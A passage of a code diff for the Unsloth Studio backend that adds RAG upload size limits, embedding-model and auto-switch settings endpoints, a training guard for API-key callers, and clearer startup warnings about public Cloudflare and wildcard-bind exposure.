key = lambda c: (-(c.get("last_modified") or 0.0), c["repo_id"].lower()),
)
return {"cached": cached}

9
studio/backend/routes/preview.py
View file

@ -17,7 +17,11 @@ from loggers import get_logger
from auth.authentication import get_current_subject
from auth.storage import DEFAULT_ADMIN_USERNAME
from models.inference import ChatCompletionRequest, LoadRequest
from routes.inference import load_model, openai_chat_completions
from routes.inference import (
disable_openai_auto_switch_for_request,
load_model,
openai_chat_completions,
)
from state.tool_policy import tools_force_disabled
from utils.client_ip import client_ip
from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint
@ -155,6 +159,9 @@ async def _serve_chat(
path = _resolve_or_4xx(run, checkpoint)
is_lora = (path / "adapter_config.json").exists()
payload = _sanitize_preview_payload(payload, is_lora)
# Preview always serves the pinned checkpoint it loads below; a public caller's
# `model` field must never trigger an OpenAI auto-switch to another GGUF.
disable_openai_auto_switch_for_request(getattr(request, "scope", None))
await _preview_lock.acquire()
keep_locked = False
try:

34
studio/backend/routes/rag.py
View file

@ -19,7 +19,7 @@ import secrets
import time
import uuid
from fastapi import APIRouter, Depends, File, HTTPException, Query, UploadFile
from fastapi import APIRouter, Depends, File, Form, HTTPException, Query, UploadFile
from fastapi.responses import FileResponse, StreamingResponse
from pydantic import BaseModel, Field
@ -62,13 +62,24 @@ def _save_upload(file: UploadFile) -> tuple[str, str]:
uploads = ensure_dir(rag_uploads_root())
stored_path = str(uploads / f"{uuid.uuid4().hex}{ext}")
size = 0
cap = config.MAX_UPLOAD_BYTES
too_big = False
with open(stored_path, "wb") as out:
while True:
block = file.file.read(1 << 20)
if not block:
break
size += len(block)
if cap and size > cap:
too_big = True
break
out.write(block)
if too_big:
os.remove(stored_path)
raise HTTPException(
status_code = 413,
detail = f"File exceeds the {cap // (1024 * 1024)} MB upload limit.",
)
if size == 0:
os.remove(stored_path)
raise HTTPException(status_code = 400, detail = "Uploaded file is empty.")
@ -156,7 +167,7 @@ def create_knowledge_base(
conn,
name = payload.name.strip(),
description = (payload.description or None),
embedding_model = config.EMBEDDING_MODEL,
embedding_model = config.effective_embedding_model(),
)
return {"id": kb_id, "name": payload.name.strip()}
finally:
@ -207,6 +218,8 @@ def delete_knowledge_base(kb_id: str, subject: str = Depends(get_current_subject
async def upload_kb_document(
kb_id: str,
file: UploadFile = File(...),
ocr: bool | None = Form(None),
caption: bool | None = Form(None),
subject: str = Depends(get_current_subject),
) -> dict:
_require_rag()
@ -218,7 +231,7 @@ async def upload_kb_document(
conn.close()
stored_path, filename = _save_upload(file)
document_id, job_id = ingestion.start_ingestion(
store.kb_scope(kb_id), kb_id, None, filename, stored_path
store.kb_scope(kb_id), kb_id, None, filename, stored_path, ocr = ocr, caption = caption
)
return {"documentId": document_id, "jobId": job_id, "filename": filename}
@ -238,12 +251,20 @@ def list_kb_documents(kb_id: str, subject: str = Depends(get_current_subject)) -
async def upload_thread_document(
thread_id: str,
file: UploadFile = File(...),
ocr: bool | None = Form(None),
caption: bool | None = Form(None),
subject: str = Depends(get_current_subject),
) -> dict:
_require_rag()
stored_path, filename = _save_upload(file)
document_id, job_id = ingestion.start_ingestion(
store.thread_scope(thread_id), None, thread_id, filename, stored_path
store.thread_scope(thread_id),
None,
thread_id,
filename,
stored_path,
ocr = ocr,
caption = caption,
)
return {"documentId": document_id, "jobId": job_id, "filename": filename}
@ -263,6 +284,8 @@ def list_thread_documents(thread_id: str, subject: str = Depends(get_current_sub
async def upload_project_document(
project_id: str,
file: UploadFile = File(...),
ocr: bool | None = Form(None),
caption: bool | None = Form(None),
subject: str = Depends(get_current_subject),
) -> dict:
_require_rag()
@ -278,6 +301,8 @@ async def upload_project_document(
filename,
stored_path,
project_id = project_id,
ocr = ocr,
caption = caption,
)
return {"documentId": document_id, "jobId": job_id, "filename": filename}
@ -321,6 +346,7 @@ def job_status(job_id: str, subject: str = Depends(get_current_subject)) -> dict
"stage": row.get("stage"),
"progress": row.get("progress") or 0.0,
"error": row.get("error"),
"numChunks": row.get("num_chunks") or 0,
}

292
studio/backend/routes/settings.py
View file

@ -4,7 +4,7 @@
from typing import Literal, Optional
from urllib.parse import unquote, urlsplit
from fastapi import APIRouter, Depends
from fastapi import APIRouter, Depends, HTTPException
from pydantic import BaseModel, ConfigDict, Field, field_validator
from auth.authentication import get_current_subject
@ -32,11 +32,30 @@ from utils.helper_precache_settings import (
helper_model_disabled_by_env,
set_helper_precache_enabled,
)
from utils.openai_auto_switch_settings import (
DEFAULT_AUTO_UNLOAD_IDLE_SECONDS,
DEFAULT_OPENAI_AUTO_SWITCH_ENABLED,
get_auto_unload_idle_seconds,
get_model_overrides,
get_openai_auto_switch_enabled,
get_stored_auto_unload_idle_seconds,
set_model_override,
set_openai_auto_switch,
)
from utils.preview_sharing_settings import (
DEFAULT_PREVIEW_SHARING_ENABLED,
get_preview_sharing_enabled,
set_preview_sharing_enabled,
)
from utils.embedding_model_settings import (
MAX_EMBEDDING_MODEL_LENGTH,
default_embedding_model,
get_rag_embedding_model,
get_stored_embedding_model,
reset_rag_embedding_model,
set_rag_embedding_model,
validate_embedding_model,
)
router = APIRouter()
@ -66,6 +85,33 @@ class HelperPrecacheResponse(BaseModel):
disabled_by_env: bool
class OpenAIAutoSwitchPayload(BaseModel):
enabled: bool
auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0)
class OpenAIAutoSwitchResponse(BaseModel):
enabled: bool
auto_unload_idle_seconds: int
default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
# True when the idle-unload loop will actually unload (effective TTL > 0). With
# UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled
# is false, so the UI can show idle-unload as active instead of "needs enable".
idle_unload_active: bool = False
class ModelOverridePayload(BaseModel):
model_id: str = Field(..., min_length = 1)
llama_extra_args: list[str] = Field(default_factory = list)
# ge=1: 0 is not a valid sequence length, and the setter drops a falsy value,
# so reject it at the boundary instead of accepting then silently discarding it.
max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576)
class ModelOverridesResponse(BaseModel):
overrides: dict[str, dict]
def _upload_limit_response(limit_mb: int) -> UploadLimitResponse:
return UploadLimitResponse(
max_upload_size_mb = limit_mb,
@ -128,6 +174,250 @@ def update_helper_precache(
return _helper_precache_response(enabled)
@router.get("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
def get_openai_auto_switch(
current_subject: str = Depends(get_current_subject),
) -> OpenAIAutoSwitchResponse:
return OpenAIAutoSwitchResponse(
enabled = get_openai_auto_switch_enabled(),
auto_unload_idle_seconds = get_stored_auto_unload_idle_seconds(),
idle_unload_active = get_auto_unload_idle_seconds() > 0,
)
@router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse)
def update_openai_auto_switch(
payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject)
) -> OpenAIAutoSwitchResponse:
try:
enabled, idle_seconds = set_openai_auto_switch(
payload.enabled, payload.auto_unload_idle_seconds
)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid OpenAI auto-switch setting."),
event = "settings.update_openai_auto_switch_failed",
log = logger,
) from exc
return OpenAIAutoSwitchResponse(
enabled = enabled,
auto_unload_idle_seconds = idle_seconds,
idle_unload_active = get_auto_unload_idle_seconds() > 0,
)
@router.get("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
def get_openai_auto_switch_overrides(
current_subject: str = Depends(get_current_subject),
) -> ModelOverridesResponse:
return ModelOverridesResponse(overrides = get_model_overrides())
@router.put("/openai-auto-switch/overrides", response_model = ModelOverridesResponse)
def update_openai_auto_switch_override(
payload: ModelOverridePayload, current_subject: str = Depends(get_current_subject)
) -> ModelOverridesResponse:
from core.inference.llama_server_args import validate_extra_args
try:
extra_args = validate_extra_args(payload.llama_extra_args)
set_model_override(
payload.model_id,
llama_extra_args = extra_args,
max_seq_length = payload.max_seq_length,
)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid model launch override."),
event = "settings.update_model_override_failed",
log = logger,
) from exc
return ModelOverridesResponse(overrides = get_model_overrides())
class EmbeddingModelPayload(BaseModel):
embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH)
# Token for gated/private repos during verification (not stored).
hf_token: Optional[str] = Field(default = None, max_length = 512)
# Skip HF verification (offline installs, local paths HF can't see).
force: bool = False
class EmbeddingModelResponse(BaseModel):
embedding_model: str
default_embedding_model: str
is_custom: bool
def _embedding_model_response() -> EmbeddingModelResponse:
return EmbeddingModelResponse(
embedding_model = get_rag_embedding_model(),
default_embedding_model = default_embedding_model(),
is_custom = get_stored_embedding_model() is not None,
)
def _llama_backend_active() -> bool:
"""True when this install embeds via the llama-server (GGUF) backend."""
from core.rag import config as rag_config
from core.rag import embeddings
try:
raw = (rag_config.EMBED_BACKEND or "auto").strip().lower()
key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw
except Exception: # noqa: BLE001 - backend probe must never block saving
return False
return key in embeddings._LLAMA_ALIASES
def _resolves_as_local_gguf(model: str) -> bool:
"""True when ``model`` is a local .gguf file or a directory holding one, so
a save on the llama-server backend needs no HF verification (the artifact
itself is the proof)."""
from core.rag.embed_llama_server import LlamaServerBackend
try:
return LlamaServerBackend._resolve_local_gguf(model) is not None
except Exception: # noqa: BLE001 - dir without .gguf, filesystem oddity
return False
def _local_gguf_backend_error(model: str) -> str | None:
"""409 detail when ``model`` is a local dir without a .gguf but this install
embeds via llama-server (macOS/CPU default), which needs one. A
sentence-transformers-only folder would verify fine yet fail at first index.
None when not applicable. ``force`` skips this check like HF verification."""
from pathlib import Path
if not Path(model).expanduser().is_dir():
return None
from core.rag.embed_llama_server import LlamaServerBackend
if not _llama_backend_active():
return None
try:
LlamaServerBackend._resolve_local_gguf(model)
return None
except RuntimeError:
return (
f"{model!r} contains no .gguf file, but this install embeds with the "
"llama-server backend which requires one. Add a GGUF file to the "
"folder or use a Hugging Face repo."
)
except Exception: # noqa: BLE001 - filesystem oddity: don't block saving
return None
def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None:
"""409 detail when the llama-server backend would find no .gguf for an HF
repo: neither the derived companion repo nor the repo itself has one. Saves
that verify as embedding models would otherwise fail at first index.
None when not applicable; ``force`` skips this like HF verification."""
from pathlib import Path
if Path(model).expanduser().exists():
return None # local paths are handled by the local checks
if not _llama_backend_active():
return None
from core.rag import config as rag_config
candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model]
try:
from huggingface_hub import list_repo_files
except Exception: # noqa: BLE001 - hub client unavailable: don't block saving
return None
for candidate in candidates:
try:
files = list_repo_files(candidate, token = hf_token)
except Exception: # noqa: BLE001 - missing/gated repo: try next candidate
continue
if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files):
return None
checked = " or ".join(repr(c) for c in candidates)
return (
f"No GGUF weights found in {checked}, but this install embeds with the "
"llama-server backend which requires them. Pick a model with a GGUF "
"companion repo or GGUF files in the repo itself."
)
@router.get("/embedding-model", response_model = EmbeddingModelResponse)
def get_embedding_model(
current_subject: str = Depends(get_current_subject),
) -> EmbeddingModelResponse:
return _embedding_model_response()
@router.put("/embedding-model", response_model = EmbeddingModelResponse)
def update_embedding_model(
payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject)
) -> EmbeddingModelResponse:
"""Set the RAG embedding model. Unless ``force`` is set, the repo is verified
to be an embedding model via HF metadata; an unverifiable model (wrong type,
typo, gated repo, or no network) returns 409 so the UI can offer "save anyway".
Documents indexed under the previous model must be re-uploaded."""
from utils.models import is_embedding_model
try:
model = validate_embedding_model(payload.embedding_model)
except ValueError as exc:
raise log_and_http_error(
exc,
400,
safe_error_detail(exc, fallback = "Invalid embedding model."),
event = "settings.update_embedding_model_failed",
log = logger,
) from exc
# The env/default model needs no verification; saving it is a no-op override.
# A local GGUF on the llama-server backend is accepted as-is: it is exactly
# what the backend loads, and HF metadata cannot verify a local path.
if (
model != default_embedding_model()
and not payload.force
and not (_llama_backend_active() and _resolves_as_local_gguf(model))
):
hf_token = (payload.hf_token or "").strip() or None
from core.rag import config as rag_config
# A GGUF-named repo on the llama-server backend is loaded from its .gguf
# files, which rarely carry sentence-transformers metadata; verify the
# GGUF is available (below) rather than the ST embedding-metadata gate,
# which would wrongly 409 a valid online GGUF embedder.
gguf_named = _llama_backend_active() and rag_config._names_gguf(model)
if not gguf_named and not is_embedding_model(model, hf_token = hf_token):
raise HTTPException(
status_code = 409,
detail = (
f"Could not verify {model!r} as an embedding model on "
"Hugging Face (it may be the wrong model type, gated, or "
"you may be offline)."
),
)
gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token)
if gguf_error:
raise HTTPException(status_code = 409, detail = gguf_error)
set_rag_embedding_model(model)
logger.info(
"settings.embedding_model_updated subject=%s model=%s forced=%s",
current_subject,
model,
payload.force,
)
return _embedding_model_response()
@router.delete("/embedding-model", response_model = EmbeddingModelResponse)
def reset_embedding_model(
current_subject: str = Depends(get_current_subject),
) -> EmbeddingModelResponse:
"""Clear the override, returning to the env/default model."""
reset_rag_embedding_model()
logger.info("settings.embedding_model_reset subject=%s", current_subject)
return _embedding_model_response()
class PreviewLinkRotateResponse(BaseModel):
rotated: bool = True

28
studio/backend/routes/training.py
View file

@ -47,7 +47,7 @@ except ImportError:
from utils.paths import resolve_dataset_path
# Auth
from auth.authentication import get_current_subject
from auth.authentication import authenticated_via_api_key, get_current_subject
from utils.utils import log_and_http_error
@ -114,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu
@router.post("/start")
async def start_training(
request: TrainingStartRequest, current_subject: str = Depends(get_current_subject)
request: TrainingStartRequest,
current_subject: str = Depends(get_current_subject),
via_api_key: bool = Depends(authenticated_via_api_key),
):
"""
Start a training job.
@ -125,6 +127,22 @@ async def start_training(
try:
logger.info(f"Starting training job with model: {request.model_name}")
# When Studio is driven as an inference API (API-key auth), refuse to start
# training while a request is in flight: training frees VRAM by unloading
# the chat model, which would kill the stream. The Studio UI (session auth)
# still starts training and coexists/frees VRAM as before. (A mixed UI+API
# session is not yet special-cased.)
if via_api_key is True:
from core.inference.llama_keepwarm import other_inference_request_count
if other_inference_request_count(current_request_counted = False) > 0:
raise HTTPException(
status_code = 409,
detail = (
"Cannot start training over the API while an inference request is in "
"progress. Wait for it to finish, or start training from the Studio UI."
),
)
# No in-process ensure_transformers_version(): the subprocess
# (worker.py) activates the correct version before importing ML libs.
@ -255,6 +273,7 @@ async def start_training(
# Convert request to backend kwargs.
training_kwargs = {
"model_name": request.model_name,
"project_name": request.project_name,
"training_type": request.training_type,
"hf_token": request.hf_token or "",
"load_in_4bit": request.load_in_4bit,
@ -847,6 +866,11 @@ async def stream_training_progress(
)
while backend.is_training_active():
# Client gone: end the generator without falling through to the final
# "complete" frame, which a buffered/proxy consumer could otherwise read
# as a finished run while training is still active.
if await request.is_disconnected():
return
try:
tp_inner = getattr(getattr(backend, "trainer", None), "training_progress", None)
live_step = (getattr(tp_inner, "step", 0) or 0) if tp_inner else 0

227
studio/backend/run.py
View file

@ -253,12 +253,13 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
local_url_c = "\033[38;5;108;1m" if use_color else "" # matches banner's URL color
reset = "\033[0m" if use_color else ""
url = f"http://{display_host}:{port}"
url = f"http://{_url_host(display_host)}:{port}"
# Private/loopback/link-local addresses aren't globally routable.
try:
addr = ipaddress.ip_address(display_host)
if addr.is_loopback or addr.is_private or addr.is_link_local:
_public_reachable = False
print(
f"{dim} Note: {display_host} is a private/LAN address -- "
f"reachable on this network only, not from the public internet."
@ -380,6 +381,20 @@ def _verify_global_reachability(display_host: str, port: int) -> None:
pass
def _display_host_for_bind(host: str) -> str:
return _resolve_external_ip() if host in ("0.0.0.0", "::") else host
def _loopback_bind_host_for(host: str) -> str:
return "::1" if host == "::" else "127.0.0.1"
def _url_host(host: str) -> str:
return (
f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host
)
def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> str:
"""One-line tool-policy summary for the plain-server startup banner, so a
network-reachable launch is never silent about code execution."""
@ -416,7 +431,7 @@ def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None
print("")
print("🦥 Unsloth Studio is running (secure)")
print("─" * 52)
_print_cloudflare_line()
_print_cloudflare_line(secure = True)
print(f" On this machine only: http://127.0.0.1:{port}/")
print("─" * 52)
_emit_tool_policy_notice("127.0.0.1", True, enable_tools)
@ -447,30 +462,108 @@ def _emit_startup_output(
_print_localhost_ipv6_mismatch_warning(localhost_mismatch_url, port)
elif wildcard_bind:
_verify_global_reachability(display_host, port)
_print_cloudflare_line()
_print_cloudflare_line(loopback_host = _loopback_bind_host_for(host))
_emit_tool_policy_notice(host, False, enable_tools)
print_studio_stop_hint()
def _print_cloudflare_line() -> None:
"""Print the Cloudflare quick-tunnel URL for 0.0.0.0 binds, if one is up.
Reads the module-level URL set by ``run_server``. Prints nothing when the
tunnel is disabled or failed -- failures are silently ignored. When the public
reachability probe just failed (``_public_reachable is False``) but the tunnel
is up, reword to point the user at the Cloudflare link as the way in.
"""
if not _cloudflare_url:
return
def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1") -> None:
"""Print Cloudflare tunnel state for startup banners."""
from startup_banner import stdout_supports_color
accent = "\033[38;5;150;1m"
warn = "\033[38;5;215;1m"
reset = "\033[0m"
if _public_reachable is False:
line = f" Use the secure link access via Cloudflare instead: {_cloudflare_url}"
else:
line = f" Secure link access via Cloudflare: {_cloudflare_url}"
print(f"{accent}{line}{reset}" if stdout_supports_color() else line)
color = stdout_supports_color()
def _emit(text: str, style: str = "") -> None:
print(f"{style}{text}{reset}" if (color and style) else text)
if _cloudflare_url:
if _public_reachable is False:
_emit(f" Use the secure link access via Cloudflare instead: {_cloudflare_url}", accent)
else:
_emit(f" Secure link access via Cloudflare: {_cloudflare_url}", accent)
if not secure:
if _public_reachable is True:
_emit(
" Cloudflare tunnel: ON. This Cloudflare URL is PUBLIC, and the "
"raw port is also publicly reachable. --no-cloudflare disables "
f"only the Cloudflare URL; bind {loopback_host} or close firewall "
"access to keep Studio private.",
warn,
)
else:
_emit(
" Cloudflare tunnel: ON. This is a PUBLIC internet URL: anyone "
"who has it can reach this Studio. Relaunch with --no-cloudflare "
f"to disable the Cloudflare URL; bind {loopback_host} or close "
"firewall access to keep Studio private.",
warn,
)
return
if _cloudflare_requested:
if _public_reachable is True:
_emit(
" Cloudflare tunnel: requested but failed to start. The raw port is "
"still reachable from the public internet (see the reachability check "
"above): anyone who can reach it can access this Studio.",
warn,
)
elif _public_reachable is False:
_emit(
" Cloudflare tunnel: requested but failed to start. Studio is reachable "
"on your local network only (no public link).",
warn,
)
else:
_emit(
" Cloudflare tunnel: requested but failed to start. There is no "
"Cloudflare public link. Raw port reachability was not verified; "
f"bind {loopback_host} or close firewall access to keep Studio private.",
warn,
)
elif _cloudflare_flag:
if _public_reachable is True:
_emit(
" Cloudflare tunnel: OFF for this mode. The raw port is still "
"reachable from the public internet (see the reachability check above): "
"anyone who can reach it can access this Studio.",
warn,
)
elif _public_reachable is False:
_emit(
" Cloudflare tunnel: OFF for this mode. Studio is reachable on your "
"local network only (no public link)."
)
else:
_emit(
" Cloudflare tunnel: OFF for this mode. There is no Cloudflare public "
"link. Raw port reachability was not verified; "
f"bind {loopback_host} or close firewall access to keep Studio private.",
warn,
)
elif not _cloudflare_flag:
if _public_reachable is True:
_emit(
" Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still "
"reachable from the public internet (see the reachability check above): "
"--no-cloudflare disables only the Cloudflare link, not the public bind.",
warn,
)
elif _public_reachable is False:
_emit(
" Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your "
"local network only. Omit --no-cloudflare to expose a public "
"Cloudflare HTTPS link."
)
else:
_emit(
" Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare "
"public link. Raw port reachability was not verified; "
f"bind {loopback_host} or close firewall access to keep Studio private.",
warn,
)
def _get_pid_on_port(port: int) -> "tuple[int, str] | None":
@ -697,7 +790,7 @@ _server_thread = None
# Shutdown event -- wakes the main loop on signal.
_shutdown_event = None
# trycloudflare.com URL for 0.0.0.0 binds (set by run_server, read by the banner);
# trycloudflare.com URL for wildcard binds (set by run_server, read by the banner);
# None when there is no tunnel (loopback, disabled, or a silently-ignored failure).
_cloudflare_url = None
@ -707,6 +800,9 @@ _cloudflare_url = None
# not decide (timeout, blocked, private address).
_public_reachable = None
_cloudflare_requested = False
_cloudflare_flag = True
_DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist"
@ -880,12 +976,12 @@ def _cloudflare_tunnel_should_start(
) -> bool:
"""Whether to start the Cloudflare tunnel. --secure exposes only the tunnel
(loopback bind), so it tunnels even api-only (headless secure API serving);
otherwise tunnel only a 0.0.0.0 bind, never api-only (Tauri) or Colab."""
otherwise tunnel wildcard binds, never api-only (Tauri) or Colab."""
if is_colab or not cloudflare:
return False
if secure:
return True
return host == "0.0.0.0" and not api_only
return host in ("0.0.0.0", "::") and not api_only
def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None:
@ -933,6 +1029,9 @@ def run_server(
"""
global _server, _server_thread, _shutdown_event
boot_started = time.perf_counter()
logger.info("run_server startup begin api_only=%s host=%s port=%s", api_only, host, port)
# Reap every child if the parent dies abnormally (terminal close, Task
# Manager kill, SIGKILL); must run before any child can spawn.
from utils.process_lifetime import initialize_parent_lifetime
@ -984,7 +1083,14 @@ def run_server(
from threading import Thread, Event
import uvicorn
import_started = time.perf_counter()
from main import app, setup_frontend, _IS_COLAB
logger.info(
"Imported FastAPI app in %.1fms",
(time.perf_counter() - import_started) * 1000,
)
from utils.paths import ensure_studio_directories
# Allow local stdio MCP servers on a loopback bind (the user's own machine),
@ -997,6 +1103,11 @@ def run_server(
# Create all standard directories on startup.
ensure_studio_directories()
logger.info(
"Ensured Studio directories in %.1fms",
(time.perf_counter() - boot_started) * 1000,
)
# Auto-find a free port if the requested one is in use.
if not _is_port_free(host, port):
original_port = port
@ -1057,9 +1168,14 @@ def run_server(
)
# Resolve once; shared by the log rewrite and banner.
display_host = _resolve_external_ip() if host == "0.0.0.0" else host
display_host = _display_host_for_bind(host)
_install_uvicorn_startup_log_rewrite(host, display_host)
logger.info(
"run_server pre-uvicorn setup completed in %.1fms",
(time.perf_counter() - boot_started) * 1000,
)
ready_event = Event()
startup_failed = Event()
startup_errors = []
@ -1068,6 +1184,10 @@ def run_server(
async def startup(self, *args, **kwargs):
await super().startup(*args, **kwargs)
if getattr(self, "started", False) and not self.should_exit:
logger.info(
"Uvicorn startup hook completed in %.1fms",
(time.perf_counter() - boot_started) * 1000,
)
ready_event.set()
# server_header=False suppresses uvicorn's "Server: uvicorn"; SecurityHeadersMiddleware sets its own.
@ -1093,13 +1213,10 @@ def run_server(
# backend, not whatever a proxy/tunnel exposed. For ephemeral binds (port==0)
# leave it unset so handlers fall back to the request scope / base_url.
app.state.server_port = port if port and port > 0 else None
# Direct (non-tunnel) base for the API panel; resolve 0.0.0.0 to the LAN IP.
# Direct (non-tunnel) base for the API panel; resolve wildcard binds to the LAN IP.
if port and port > 0:
_direct_host = _resolve_external_ip() if host in ("0.0.0.0", "::") else host
# Bracket IPv6 literals so the URL is valid (http://[2405:...]:port).
if ":" in _direct_host and not _direct_host.startswith("["):
_direct_host = f"[{_direct_host}]"
app.state.server_url = f"http://{_direct_host}:{port}"
_direct_host = _display_host_for_bind(host)
app.state.server_url = f"http://{_url_host(_direct_host)}:{port}"
else:
app.state.server_url = None
app.state.secure = secure
@ -1150,6 +1267,11 @@ def run_server(
_shutdown_event.set()
raise
logger.info(
"run_server uvicorn ready after %.1fms",
(time.perf_counter() - boot_started) * 1000,
)
_write_pid_file()
import atexit
@ -1163,11 +1285,12 @@ def run_server(
if api_only and emit_tauri_port:
print(f"TAURI_PORT={port}", flush = True)
# Free trycloudflare.com tunnel for 0.0.0.0 binds (the raw ip:port is often
# Free trycloudflare.com tunnel for wildcard binds (the raw ip:port is often
# unreachable). Started pre-banner and even when silent so the CLI banner can
# read app.state.cloudflare_url; torn down by _graceful_shutdown.
global _cloudflare_url
global _cloudflare_url, _cloudflare_requested, _cloudflare_flag
_cloudflare_url = None
_cloudflare_flag = cloudflare
app.state.cloudflare_url = None
_cloudflare_enabled = _cloudflare_tunnel_should_start(
cloudflare = cloudflare,
@ -1176,6 +1299,7 @@ def run_server(
api_only = api_only,
is_colab = _IS_COLAB,
)
_cloudflare_requested = _cloudflare_enabled
if _cloudflare_enabled:
try: # best-effort: any failure must not block startup
from cloudflare_tunnel import start_studio_tunnel, stop_studio_tunnel
@ -1199,6 +1323,43 @@ def run_server(
_graceful_shutdown(_server)
sys.exit(1)
# Time-box a freshly-exposed web UI: if nobody changes the seeded admin
# password within the deadline (default 1h), shut down rather than leave an
# unsecured public instance running. No-op for loopback, --api-only, Colab,
# an already-changed password, or UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0.
try:
from auth import storage as _auth_storage
from auth.bootstrap_timeout import (
arm_bootstrap_timeout,
bootstrap_timeout_seconds,
should_arm_bootstrap_timeout,
)
_bootstrap_timeout = bootstrap_timeout_seconds()
if should_arm_bootstrap_timeout(
host = host,
secure = secure,
api_only = api_only,
frontend_served = bool(frontend_path) and not api_only,
is_colab = _IS_COLAB,
requires_change = _auth_storage.requires_password_change(
_auth_storage.DEFAULT_ADMIN_USERNAME
),
timeout_seconds = _bootstrap_timeout,
):
arm_bootstrap_timeout(
_auth_storage,
_trigger_shutdown,
timeout_seconds = _bootstrap_timeout,
logger = logger,
)
logger.info(
"Studio will shut down in %ds unless the default admin password is changed.",
_bootstrap_timeout,
)
except Exception as e: # best-effort: never block startup on the timeout
logger.warning("Bootstrap timeout not armed: %s", e)
if not silent:
_emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools)
@ -1243,8 +1404,10 @@ def _build_arg_parser():
"--cloudflare",
action = argparse.BooleanOptionalAction,
default = True,
help = "Auto-create a free Cloudflare HTTPS tunnel when bound to 0.0.0.0 "
"(default on; --no-cloudflare to disable)",
help = "Auto-create a free Cloudflare HTTPS tunnel for non-api-only wildcard "
"binds (0.0.0.0 or ::), exposing Studio on a PUBLIC internet URL (default on). "
"Pass --no-cloudflare to disable that Cloudflare URL; it does not change a "
"public wildcard bind. --api-only keeps it off unless paired with --secure.",
)
parser.add_argument(
"--secure",

20
studio/backend/startup_banner.py
View file

@ -12,6 +12,18 @@ import os
import sys
def _safe_print(text: str) -> None:
"""Print text without crashing on terminals that cannot encode Unicode."""
try:
print(text)
except UnicodeEncodeError:
encoding = getattr(sys.stdout, "encoding", None) or "ascii"
try:
print(text.encode(encoding, errors = "replace").decode(encoding))
except LookupError:
print(text.encode("ascii", errors = "replace").decode("ascii"))
def stdout_supports_color() -> bool:
"""True if we should emit ANSI colors."""
if os.environ.get("NO_COLOR", "").strip():
@ -28,9 +40,9 @@ def print_port_in_use_notice(original_port: int, new_port: int) -> None:
"""Message when the requested port is taken and another is chosen."""
msg = f"Port {original_port} is in use, using port {new_port} instead."
if stdout_supports_color():
print(f"\033[38;5;245m{msg}\033[0m")
_safe_print(f"\033[38;5;245m{msg}\033[0m")
else:
print(msg)
_safe_print(msg)
def print_studio_stop_hint() -> None:
@ -44,7 +56,7 @@ def print_studio_stop_hint() -> None:
def style(text: str, code: str) -> str:
return f"{code}{text}{reset}" if use_color else text
print(
_safe_print(
"\n".join(
[
"",
@ -180,4 +192,4 @@ def print_studio_access_banner(
]
)
print("\n".join(lines))
_safe_print("\n".join(lines))

105
studio/backend/storage/rag_db.py
View file

@ -15,6 +15,7 @@ column type).
"""
import logging
import re
import sqlite3
import threading
@ -64,7 +65,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
error TEXT,
num_chunks INTEGER NOT NULL DEFAULT 0,
stored_path TEXT,
created_at TEXT NOT NULL
created_at TEXT NOT NULL,
embedding_model TEXT
);
CREATE INDEX IF NOT EXISTS idx_documents_scope ON documents(scope);
CREATE INDEX IF NOT EXISTS idx_documents_hash ON documents(scope, sha256);
@ -107,6 +109,10 @@ def _ensure_schema(conn: sqlite3.Connection) -> None:
cols = {r[1] for r in conn.execute("PRAGMA table_info(documents)").fetchall()}
if "project_id" not in cols:
conn.execute("ALTER TABLE documents ADD COLUMN project_id TEXT")
# Lazy upgrade: which embedder produced a document's vectors (NULL = legacy,
# assumed current). Dedupe re-ingests when it no longer matches.
if "embedding_model" not in cols:
conn.execute("ALTER TABLE documents ADD COLUMN embedding_model TEXT")
def get_connection() -> sqlite3.Connection:
@ -119,6 +125,10 @@ def get_connection() -> sqlite3.Connection:
ensure_dir(db_path.parent)
conn = sqlite3.connect(str(db_path))
conn.row_factory = sqlite3.Row
# Wait for a lock instead of erroring immediately: a figure/scan-heavy ingest can
# hold its connection across many seconds of vision calls, and a concurrent ingest
# or autoinject read would otherwise hit "database is locked".
conn.execute("PRAGMA busy_timeout = 5000")
try:
conn.enable_load_extension(True)
sqlite_vec.load(conn)
@ -139,9 +149,32 @@ def get_connection() -> sqlite3.Connection:
return conn
def vec_table_dim(conn: sqlite3.Connection) -> int | None:
"""Embedding width baked into ``chunks_vec``, or None when absent."""
row = conn.execute(
"SELECT sql FROM sqlite_master WHERE type='table' AND name='chunks_vec'"
).fetchone()
if row is None or not row["sql"]:
return None
m = re.search(r"float\[(\d+)\]", row["sql"])
return int(m.group(1)) if m else None
